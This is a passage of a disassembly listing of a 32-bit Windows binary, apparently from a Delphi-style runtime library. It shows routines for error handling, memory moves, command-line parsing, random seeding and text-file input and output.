		rep retn
sub_40002C20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002C3C	proc near		; CODE XREF: sub_40003C9C+Cp
					; sub_40004884+1Cp ...
		test	eax, eax
		jz	short locret_40002C4A
		call	off_4001A728
		test	eax, eax
		jnz	short loc_40002C4C

locret_40002C4A:			; CODE XREF: sub_40002C3C+2j
		rep retn
; ---------------------------------------------------------------------------


loc_40002C4C:				; CODE XREF: sub_40002C3C+Cj
		mov	al, 2
		jmp	sub_40002D50
sub_40002C3C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40002C54	proc near		; CODE XREF: sub_40004F74+22p
					; sub_4000599C+BAp ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_40002C8C
		test	edx, edx
		jz	short loc_40002C76
		push	eax
		mov	eax, ecx
		call	off_4001A72C
		pop	ecx
		or	eax, eax
		jz	short loc_40002C85
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40002C6F:				; CODE XREF: sub_40002C54+2Ej
		mov	al, 2
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40002C76:				; CODE XREF: sub_40002C54+8j
		mov	[eax], edx
		mov	eax, ecx
		call	off_4001A728
		or	eax, eax
		jnz	short loc_40002C6F
		retn
; ---------------------------------------------------------------------------


loc_40002C85:				; CODE XREF: sub_40002C54+16j
					; sub_40002C54+48j
		mov	al, 1
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40002C8C:				; CODE XREF: sub_40002C54+4j
		test	edx, edx
		jz	short locret_40002CA0
		push	eax
		mov	eax, edx
		call	off_4001A724
		pop	ecx
		or	eax, eax
		jz	short loc_40002C85
		mov	[ecx], eax

locret_40002CA0:			; CODE XREF: sub_40002C54+3Aj
		retn
sub_40002C54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002CA4	proc near		; CODE XREF: sub_4000E068+6p
					; sub_4000E068:loc_4000E093p ...
		call	sub_40006428
		cmp	dword ptr [eax+0], 0
		jz	short loc_40002CC1
		call	sub_40006428
		mov	eax, [eax+0]
		mov	eax, [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_40002CC1:				; CODE XREF: sub_40002CA4+Cj
		xor	eax, eax
		retn
sub_40002CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40002CC4	proc near		; CODE XREF: sub_4000E068:loc_4000E0DBp
		push	ebx
		push	esi
		call	sub_40006428
		cmp	dword ptr [eax+0], 0
		jz	short loc_40002CEE
		call	sub_40006428
		mov	esi, [eax+0]
		mov	ebx, [esi+8]
		call	sub_40006428
		xor	eax, eax
		mov	[esi+8], eax
		jmp	short loc_40002CF0
; ---------------------------------------------------------------------------


loc_40002CEE:				; CODE XREF: sub_40002CC4+Ej
		xor	ebx, ebx


loc_40002CF0:				; CODE XREF: sub_40002CC4+28j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40002CC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40002CF8	proc near		; CODE XREF: sub_40002D04+41p
					; .text:40004425p
		mov	dword_4001A004,	edx
		call	sub_4000486C
sub_40002CF8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40002D04	proc near		; CODE XREF: sub_40002D50+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:off_4001C008, 0
		jz	short loc_40002D20
		mov	edx, esi
		mov	eax, ebx
		call	ds:off_4001C008


loc_40002D20:				; CODE XREF: sub_40002D04+10j
		test	bl, bl
		jnz	short loc_40002D31
		call	sub_40006428
		mov	ebx, [eax+4]
		jmp	short loc_40002D40
; ---------------------------------------------------------------------------


loc_40002D31:				; CODE XREF: sub_40002D04+1Ej
		cmp	bl, 18h
		ja	short loc_40002D40
		movzx	eax, bl
		movzx	ebx, byte_4001A73C[eax]


loc_40002D40:				; CODE XREF: sub_40002D04+2Bj
					; sub_40002D04+30j
		movzx	eax, bl
		mov	edx, esi
		call	sub_40002CF8
sub_40002D04	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40002D50	proc near		; CODE XREF: .text:40002C1Aj
					; sub_40002C20+12j ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_40002D04
sub_40002D50	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40002D5C	proc near		; CODE XREF: sub_4000AF68+28p
					; .itext:400199F0p ...
		push	eax
		push	edx
		push	ecx
		call	sub_40006428
		cmp	dword ptr [eax+4], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_40002D71
		retn
; ---------------------------------------------------------------------------


loc_40002D71:				; CODE XREF: sub_40002D5C+12j
		xor	eax, eax
		jmp	sub_40002D50
sub_40002D5C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002D7C	proc near		; CODE XREF: sub_40002D8C+5p
					; sub_40003390+3Cp ...
		push	ebx
		mov	ebx, eax
		call	sub_40006428
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_40002D7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40002D8C	proc near		; CODE XREF: sub_4000361C+17p
		call	sub_400011D8	; RtlGetLastWin32Error
		call	sub_40002D7C
		retn
sub_40002D8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002D98	proc near		; CODE XREF: sub_4001293C+ABp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, eax
		mov	edi, [esp+8+arg_0]
		xor	eax, eax
		or	al, [esi]
		jz	short loc_40002DD1
		test	edx, edx
		jle	short loc_40002DC2
		cmp	edx, eax
		jg	short loc_40002DC9


loc_40002DAE:				; CODE XREF: sub_40002D98+2Fj
		sub	eax, edx
		inc	eax
		test	ecx, ecx
		jl	short loc_40002DC9
		cmp	ecx, eax
		jg	short loc_40002DCD


loc_40002DB9:				; CODE XREF: sub_40002D98+33j
					; sub_40002D98+37j
		add	esi, edx
		mov	[edi], cl
		inc	edi
		rep movsb
		jmp	short loc_40002DD3
; ---------------------------------------------------------------------------


loc_40002DC2:				; CODE XREF: sub_40002D98+10j
		mov	edx, 1
		jmp	short loc_40002DAE
; ---------------------------------------------------------------------------


loc_40002DC9:				; CODE XREF: sub_40002D98+14j
					; sub_40002D98+1Bj
		xor	ecx, ecx
		jmp	short loc_40002DB9
; ---------------------------------------------------------------------------


loc_40002DCD:				; CODE XREF: sub_40002D98+1Fj
		mov	ecx, eax
		jmp	short loc_40002DB9
; ---------------------------------------------------------------------------


loc_40002DD1:				; CODE XREF: sub_40002D98+Cj
		mov	[edi], al


loc_40002DD3:				; CODE XREF: sub_40002D98+28j
		pop	edi
		pop	esi
		retn	4
sub_40002D98	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002DDC	proc near		; CODE XREF: sub_4000B230+7p
		push	ebx
		call	sub_40006428
		mov	ebx, [eax+4]
		call	sub_40006428
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, ebx
		pop	ebx
		retn
sub_40002DDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002DFC	proc near		; CODE XREF: sub_400021F0+Ap
					; sub_40003328+4Fp ...
		cmp	eax, edx
		jz	short locret_40002E31
		cmp	ecx, 20h
		ja	short loc_40002E81
		sub	ecx, 8
		jg	short loc_40002E11
		jmp	ds:off_40002E54[ecx*4]
; ---------------------------------------------------------------------------


loc_40002E11:				; CODE XREF: sub_40002DFC+Cj
		fild	qword ptr [ecx+eax]
		fild	qword ptr [eax]
		cmp	ecx, 8
		jle	short loc_40002E2C
		fild	qword ptr [eax+8]
		cmp	ecx, 10h
		jle	short loc_40002E29
		fild	qword ptr [eax+10h]
		fistp	qword ptr [edx+10h]


loc_40002E29:				; CODE XREF: sub_40002DFC+25j
		fistp	qword ptr [edx+8]


loc_40002E2C:				; CODE XREF: sub_40002DFC+1Dj
		fistp	qword ptr [edx]
		fistp	qword ptr [ecx+edx]

locret_40002E31:			; CODE XREF: sub_40002DFC+2j
					; DATA XREF: sub_40002DFC+38o
		retn
; ---------------------------------------------------------------------------
		align 4
		dd offset locret_40002E31
		dd offset loc_40002EB2
		dd offset loc_40002EB8
		dd offset loc_40002EBF
		dd offset loc_40002ECC
		dd offset loc_40002ED1
		dd offset loc_40002EDC
		dd offset loc_40002EE9
off_40002E54	dd offset loc_40002EF4	; DATA XREF: sub_40002DFC+Er
; ---------------------------------------------------------------------------


loc_40002E58:				; CODE XREF: sub_40002DFC+89j
					; sub_40002DFC+92j
		push	edx
		fild	qword ptr [eax]
		lea	eax, [ecx+eax-8]
		lea	ecx, [edx+ecx-8]
		fild	qword ptr [eax]
		push	ecx
		neg	ecx
		and	edx, 0FFFFFFF8h
		lea	ecx, [edx+ecx+8]
		pop	edx


loc_40002E70:				; CODE XREF: sub_40002DFC+7Dj
		fild	qword ptr [ecx+eax]
		fistp	qword ptr [ecx+edx]
		add	ecx, 8
		jl	short loc_40002E70
		fistp	qword ptr [edx]
		pop	edx
		fistp	qword ptr [edx]
		retn
; ---------------------------------------------------------------------------


loc_40002E81:				; CODE XREF: sub_40002DFC+7j
		jle	short locret_40002EB1
		cmp	eax, edx
		ja	short loc_40002E58
		sub	edx, ecx
		cmp	eax, edx
		lea	edx, [ecx+edx]
		jbe	short loc_40002E58
		sub	ecx, 8
		push	ecx
		fild	qword ptr [ecx+eax]
		fild	qword ptr [eax]
		add	ecx, edx
		and	ecx, 0FFFFFFF8h
		sub	ecx, edx


loc_40002EA0:				; CODE XREF: sub_40002DFC+ADj
		fild	qword ptr [ecx+eax]
		fistp	qword ptr [ecx+edx]
		sub	ecx, 8
		jg	short loc_40002EA0
		pop	ecx
		fistp	qword ptr [edx]
		fistp	qword ptr [ecx+edx]

locret_40002EB1:			; CODE XREF: sub_40002DFC:loc_40002E81j
		retn
; ---------------------------------------------------------------------------


loc_40002EB2:				; DATA XREF: sub_40002DFC+3Co
		movzx	ecx, byte ptr [eax]
		mov	[edx], cl
		retn
; ---------------------------------------------------------------------------


loc_40002EB8:				; DATA XREF: sub_40002DFC+40o
		movzx	ecx, word ptr [eax]
		mov	[edx], cx
		retn
; ---------------------------------------------------------------------------


loc_40002EBF:				; DATA XREF: sub_40002DFC+44o
		mov	cx, [eax]
		mov	al, [eax+2]
		mov	[edx], cx
		mov	[edx+2], al
		retn
; ---------------------------------------------------------------------------


loc_40002ECC:				; DATA XREF: sub_40002DFC+48o
		mov	ecx, [eax]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_40002ED1:				; DATA XREF: sub_40002DFC+4Co
		mov	ecx, [eax]
		mov	al, [eax+4]
		mov	[edx], ecx
		mov	[edx+4], al
		retn
; ---------------------------------------------------------------------------


loc_40002EDC:				; DATA XREF: sub_40002DFC+50o
		mov	ecx, [eax]
		mov	ax, [eax+4]
		mov	[edx], ecx
		mov	[edx+4], ax
		retn
; ---------------------------------------------------------------------------


loc_40002EE9:				; DATA XREF: sub_40002DFC+54o
		mov	ecx, [eax]
		mov	eax, [eax+3]
		mov	[edx], ecx
		mov	[edx+3], eax
		retn
; ---------------------------------------------------------------------------


loc_40002EF4:				; CODE XREF: sub_40002DFC+Ej
					; DATA XREF: sub_40002DFC:off_40002E54o
		fild	qword ptr [eax]
		fistp	qword ptr [edx]
		retn
sub_40002DFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002EFC	proc near		; CODE XREF: sub_40002FF8+41p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_40002F0F
; ---------------------------------------------------------------------------


loc_40002F07:				; CODE XREF: sub_40002EFC+1Bj
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax


loc_40002F0F:				; CODE XREF: sub_40002EFC+9j
					; sub_40002EFC+2Bj
		cmp	byte ptr [ebx],	0
		jz	short loc_40002F19
		cmp	byte ptr [ebx],	20h
		jbe	short loc_40002F07


loc_40002F19:				; CODE XREF: sub_40002EFC+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002F29
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_40002F29
		add	ebx, 2
		jmp	short loc_40002F0F
; ---------------------------------------------------------------------------


loc_40002F29:				; CODE XREF: sub_40002EFC+20j
					; sub_40002EFC+26j
		xor	ebp, ebp
		mov	[esp+14h+var_14], ebx
		jmp	short loc_40002F78
; ---------------------------------------------------------------------------


loc_40002F30:				; CODE XREF: sub_40002EFC+7Fj
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002F68
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40002F4F
; ---------------------------------------------------------------------------


loc_40002F3F:				; CODE XREF: sub_40002EFC+5Bj
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	edi, eax
		mov	eax, edi
		sub	eax, ebx
		add	ebp, eax
		mov	ebx, edi


loc_40002F4F:				; CODE XREF: sub_40002EFC+41j
		cmp	byte ptr [ebx],	0
		jz	short loc_40002F59
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002F3F


loc_40002F59:				; CODE XREF: sub_40002EFC+56j
		cmp	byte ptr [ebx],	0
		jz	short loc_40002F78
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40002F78
; ---------------------------------------------------------------------------


loc_40002F68:				; CODE XREF: sub_40002EFC+37j
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	edi, eax
		mov	eax, edi
		sub	eax, ebx
		add	ebp, eax
		mov	ebx, edi


loc_40002F78:				; CODE XREF: sub_40002EFC+32j
					; sub_40002EFC+60j ...
		cmp	byte ptr [ebx],	20h
		ja	short loc_40002F30
		mov	eax, esi
		mov	edx, ebp
		call	sub_40004F74
		mov	ebx, [esp+14h+var_14]
		mov	ebp, [esi]
		xor	esi, esi
		jmp	short loc_40002FE9
; ---------------------------------------------------------------------------


loc_40002F8F:				; CODE XREF: sub_40002EFC+F0j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002FD0
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40002FB7
; ---------------------------------------------------------------------------


loc_40002F9E:				; CODE XREF: sub_40002EFC+C3j
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	edi, eax
		cmp	edi, ebx
		jbe	short loc_40002FB7


loc_40002FAA:				; CODE XREF: sub_40002EFC+B9j
		movzx	eax, byte ptr [ebx]
		mov	[ebp+esi+0], al
		inc	ebx
		inc	esi
		cmp	edi, ebx
		ja	short loc_40002FAA


loc_40002FB7:				; CODE XREF: sub_40002EFC+A0j
					; sub_40002EFC+ACj
		cmp	byte ptr [ebx],	0
		jz	short loc_40002FC1
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002F9E


loc_40002FC1:				; CODE XREF: sub_40002EFC+BEj
		cmp	byte ptr [ebx],	0
		jz	short loc_40002FE9
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40002FE9
; ---------------------------------------------------------------------------


loc_40002FD0:				; CODE XREF: sub_40002EFC+96j
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	edi, eax
		cmp	edi, ebx
		jbe	short loc_40002FE9


loc_40002FDC:				; CODE XREF: sub_40002EFC+EBj
		movzx	eax, byte ptr [ebx]
		mov	[ebp+esi+0], al
		inc	ebx
		inc	esi
		cmp	edi, ebx
		ja	short loc_40002FDC


loc_40002FE9:				; CODE XREF: sub_40002EFC+91j
					; sub_40002EFC+C8j ...
		cmp	byte ptr [ebx],	20h
		ja	short loc_40002F8F
		mov	eax, ebx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40002EFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002FF8	proc near		; CODE XREF: sub_400171BC+83p
					; sub_400171BC+D6p ...

var_114		= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_40004884
		test	esi, esi
		jnz	short loc_4000302E
		push	105h
		lea	eax, [esp+118h+var_114]
		push	eax
		push	0
		call	sub_400011E8	; GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_40004974
		jmp	short loc_4000304C
; ---------------------------------------------------------------------------


loc_4000302E:				; CODE XREF: sub_40002FF8+16j
		call	sub_400011D0	; GetCommandLineA
		mov	edi, eax


loc_40003035:				; CODE XREF: sub_40002FF8+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_40002EFC
		mov	edi, eax
		test	esi, esi
		jz	short loc_4000304C
		cmp	dword ptr [ebx], 0
		jz	short loc_4000304C
		dec	esi
		jmp	short loc_40003035
; ---------------------------------------------------------------------------


loc_4000304C:				; CODE XREF: sub_40002FF8+34j
					; sub_40002FF8+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40002FF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003058	proc near		; CODE XREF: sub_40017F10+3p

var_8		= dword	ptr -8

		add	esp, 0FFFFFFF8h
		push	esp
		call	sub_40001290	; QueryPerformanceCounter
		test	eax, eax
		jz	short loc_40003070
		mov	eax, [esp+8+var_8]
		mov	dword_4001A008,	eax
		pop	ecx
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_40003070:				; CODE XREF: sub_40003058+Bj
		call	sub_40001298	; GetTickCount
		mov	dword_4001A008,	eax
		pop	ecx
		pop	edx
		retn
sub_40003058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003080	proc near		; CODE XREF: sub_40017F10+Dp
					; .itext:40019927p ...
		push	ebx
		xor	ebx, ebx
		imul	edx, dword_4001A008[ebx], 8088405h
		inc	edx
		mov	dword_4001A008[ebx], edx
		mul	edx
		mov	eax, edx
		pop	ebx
		retn
sub_40003080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000309C	proc near		; CODE XREF: sub_40005754+62p
					; sub_40005754+7Ap
		cmp	al, 61h
		jb	short locret_400030A6
		cmp	al, 7Ah
		ja	short locret_400030A6
		sub	al, 20h

locret_400030A6:			; CODE XREF: sub_4000309C+2j
					; sub_4000309C+6j
		retn
sub_4000309C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400030A8	proc near		; CODE XREF: sub_4000ED90+D4p
					; sub_4000ED90+F5p ...

var_8		= qword	ptr -8

		sub	esp, 8
		fistp	[esp+8+var_8]
		wait
		pop	eax
		pop	edx
		retn
sub_400030A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_400030B4	proc near		; CODE XREF: sub_40003EC8+10j
					; DATA XREF: .text:4000D688o ...
		cmp	ds:off_4001C02C, 0
		jz	short loc_400030C3
		call	ds:off_4001C02C


loc_400030C3:				; CODE XREF: sub_400030B4+7j
		mov	eax, 0D2h
		jmp	sub_40004878
sub_400030B4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400030D0	proc near		; DATA XREF: .text:400031ACo
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebx+10h], eax
		xor	eax, eax
		mov	[ebx+0Ch], eax
		push	0
		lea	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+8]
		push	eax
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_40001170	; ReadFile
		test	eax, eax
		jnz	short loc_40003105
		call	sub_400011D8	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jnz	short loc_40003107
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40003105:				; CODE XREF: sub_400030D0+25j
		xor	eax, eax


loc_40003107:				; CODE XREF: sub_400030D0+2Fj
		pop	ebx
		retn
sub_400030D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000310C	proc near		; DATA XREF: .text:400031E3o
					; .text:400032B3o ...
		xor	eax, eax
		retn
sub_4000310C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003110	proc near		; DATA XREF: .text:loc_400031D5o
					; .text:400032FBo

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		mov	esi, [ebx+0Ch]
		test	esi, esi
		jnz	short loc_40003120
		xor	eax, eax
		jmp	short loc_40003146
; ---------------------------------------------------------------------------


loc_40003120:				; CODE XREF: sub_40003110+Aj
		push	0
		lea	eax, [esp+10h+var_C]
		push	eax
		push	esi
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_40001198	; WriteFile
		test	eax, eax
		jnz	short loc_4000313F
		call	sub_400011D8	; RtlGetLastWin32Error
		jmp	short loc_40003141
; ---------------------------------------------------------------------------


loc_4000313F:				; CODE XREF: sub_40003110+26j
		xor	eax, eax


loc_40003141:				; CODE XREF: sub_40003110+2Dj
		xor	edx, edx
		mov	[ebx+0Ch], edx


loc_40003146:				; CODE XREF: sub_40003110+Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40003110	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000314C	proc near		; CODE XREF: sub_4000315C+Bp
					; sub_4000361C+Ep
		push	ebx
		mov	ebx, eax
		push	ebx
		call	sub_40001140	; CloseHandle
		dec	eax
		setz	al
		pop	ebx
		retn
sub_4000314C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000315C	proc near		; DATA XREF: .text:loc_400031DCo
		push	ebx
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		mov	eax, [ebx]
		call	sub_4000314C
		test	al, al
		jnz	short loc_40003177
		call	sub_400011D8	; RtlGetLastWin32Error
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40003177:				; CODE XREF: sub_4000315C+12j
		xor	eax, eax
		pop	ebx
		retn
sub_4000315C	endp

; ---------------------------------------------------------------------------
		align 4


loc_4000317C:				; DATA XREF: sub_40003328+35o
		push	esi
		mov	esi, eax
		xor	eax, eax
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	ax, [esi+4]
		sub	eax, 0D7B1h
		jz	short loc_4000319D
		dec	eax
		jz	short loc_400031B5
		dec	eax
		jz	short loc_400031C6
		jmp	loc_40003304
; ---------------------------------------------------------------------------


loc_4000319D:				; CODE XREF: .text:40003190j
		mov	eax, 80000000h
		mov	edx, 1
		mov	ecx, 3
		mov	dword ptr [esi+1Ch], offset sub_400030D0
		jmp	short loc_400031DC
; ---------------------------------------------------------------------------


loc_400031B5:				; CODE XREF: .text:40003193j
		mov	eax, 40000000h
		mov	edx, 1
		mov	ecx, 2
		jmp	short loc_400031D5
; ---------------------------------------------------------------------------


loc_400031C6:				; CODE XREF: .text:40003196j
		mov	eax, 0C0000000h
		mov	edx, 1
		mov	ecx, 3


loc_400031D5:				; CODE XREF: .text:400031C4j
		mov	dword ptr [esi+1Ch], offset sub_40003110


loc_400031DC:				; CODE XREF: .text:400031B3j
		mov	dword ptr [esi+24h], offset sub_4000315C
		mov	dword ptr [esi+20h], offset sub_4000310C
		cmp	byte ptr [esi+48h], 0
		jz	loc_400032A6
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	sub_40001148	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	loc_4000331A
		mov	[esi], eax
		cmp	word ptr [esi+4], 0D7B3h
		jnz	loc_400032E3
		dec	word ptr [esi+4]
		push	0
		push	dword ptr [esi]
		call	sub_40001158	; GetFileSize
		inc	eax
		jz	loc_4000331A
		sub	eax, 81h
		jnb	short loc_4000323D
		xor	eax, eax


loc_4000323D:				; CODE XREF: .text:40003239j
		push	0
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_40001188	; SetFilePointer
		inc	eax
		jz	loc_4000331A
		push	0
		mov	edx, esp
		push	0
		push	edx
		push	80h
		lea	edx, [esi+14Ch]
		push	edx
		push	dword ptr [esi]
		call	sub_40001170	; ReadFile
		pop	edx
		dec	eax
		jnz	loc_4000331A
		xor	eax, eax


loc_40003274:				; CODE XREF: .text:40003283j
		cmp	eax, edx
		jnb	short loc_400032E3
		cmp	byte ptr [esi+eax+14Ch], 0Eh
		jz	short loc_40003285
		inc	eax
		jmp	short loc_40003274
; ---------------------------------------------------------------------------


loc_40003285:				; CODE XREF: .text:40003280j
		push	2
		push	0
		sub	eax, edx
		push	eax
		push	dword ptr [esi]
		call	sub_40001188	; SetFilePointer
		inc	eax
		jz	loc_4000331A
		push	dword ptr [esi]
		call	sub_40001180	; SetEndOfFile
		dec	eax
		jnz	short loc_4000331A
		jmp	short loc_400032E3
; ---------------------------------------------------------------------------


loc_400032A6:				; CODE XREF: .text:400031EEj
		lea	eax, [esi+14Ch]
		mov	dword ptr [esi+8], 80h
		mov	dword ptr [esi+24h], offset sub_4000310C
		mov	[esi+14h], eax
		cmp	word ptr [esi+4], 0D7B2h
		jz	short loc_400032C9
		push	0FFFFFFF6h
		jmp	short loc_400032D7
; ---------------------------------------------------------------------------


loc_400032C9:				; CODE XREF: .text:400032C3j
		cmp	esi, offset dword_4001C3E8
		jnz	short loc_400032D5
		push	0FFFFFFF4h
		jmp	short loc_400032D7
; ---------------------------------------------------------------------------


loc_400032D5:				; CODE XREF: .text:400032CFj
		push	0FFFFFFF5h


loc_400032D7:				; CODE XREF: .text:400032C7j
					; .text:400032D3j
		call	sub_40001160	; GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4000331A
		mov	[esi], eax


loc_400032E3:				; CODE XREF: .text:4000321Aj
					; .text:40003276j ...
		cmp	word ptr [esi+4], 0D7B1h
		jz	short loc_40003302
		push	dword ptr [esi]
		call	sub_40001150	; GetFileType
		test	eax, eax
		jz	short loc_40003306
		cmp	eax, 2
		jnz	short loc_40003302
		mov	dword ptr [esi+20h], offset sub_40003110


loc_40003302:				; CODE XREF: .text:400032E9j
					; .text:400032F9j
		xor	eax, eax


loc_40003304:				; CODE XREF: .text:40003198j
					; .text:40003318j ...
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40003306:				; CODE XREF: .text:400032F4j
		push	dword ptr [esi]
		call	sub_40001140	; CloseHandle
		mov	word ptr [esi+4], 0D7B0h
		mov	eax, 69h
		jmp	short loc_40003304
; ---------------------------------------------------------------------------


loc_4000331A:				; CODE XREF: .text:4000320Cj
					; .text:4000322Ej ...
		mov	word ptr [esi+4], 0D7B0h
		call	sub_400011D8	; RtlGetLastWin32Error
		jmp	short loc_40003304
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40003328	proc near		; CODE XREF: .itext:400199DCp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		xor	ecx, ecx
		mov	edx, 14Ch
		call	sub_40003580
		lea	eax, [ebx+14Ch]
		mov	[ebx+14h], eax
		mov	word ptr [ebx+4], 0D7B0h
		movzx	eax, byte_4001A034
		mov	[ebx+6], ax
		mov	dword ptr [ebx+8], 80h
		mov	dword ptr [ebx+18h], offset loc_4000317C
		mov	eax, esi
		call	sub_40004B44
		push	eax
		mov	eax, esi
		call	sub_40004D48
		lea	edx, [ebx+48h]
		pop	ecx
		call	sub_40002DFC
		mov	eax, esi
		call	sub_40004B44
		mov	byte ptr [ebx+eax+48h],	0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_40003328	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003390	proc near		; CODE XREF: sub_400033D8+3p
		push	ebx
		movzx	ecx, word ptr [eax+4]
		sub	cx, 0D7B1h
		jz	short loc_400033AB
		dec	ecx
		sub	cx, 2
		jnb	short loc_400033AF
		mov	ebx, edx
		call	ebx
		mov	ebx, eax
		jmp	short loc_400033C6
; ---------------------------------------------------------------------------


loc_400033AB:				; CODE XREF: sub_40003390+Aj
		xor	ebx, ebx
		jmp	short loc_400033C6
; ---------------------------------------------------------------------------


loc_400033AF:				; CODE XREF: sub_40003390+11j
		cmp	eax, offset dword_4001C21C
		jz	short loc_400033BD
		cmp	eax, offset dword_4001C3E8
		jnz	short loc_400033C1


loc_400033BD:				; CODE XREF: sub_40003390+24j
		xor	ebx, ebx
		jmp	short loc_400033C6
; ---------------------------------------------------------------------------


loc_400033C1:				; CODE XREF: sub_40003390+2Bj
		mov	ebx, 67h


loc_400033C6:				; CODE XREF: sub_40003390+19j
					; sub_40003390+1Dj ...
		test	ebx, ebx
		jz	short loc_400033D1
		mov	eax, ebx
		call	sub_40002D7C


loc_400033D1:				; CODE XREF: sub_40003390+38j
		mov	eax, ebx
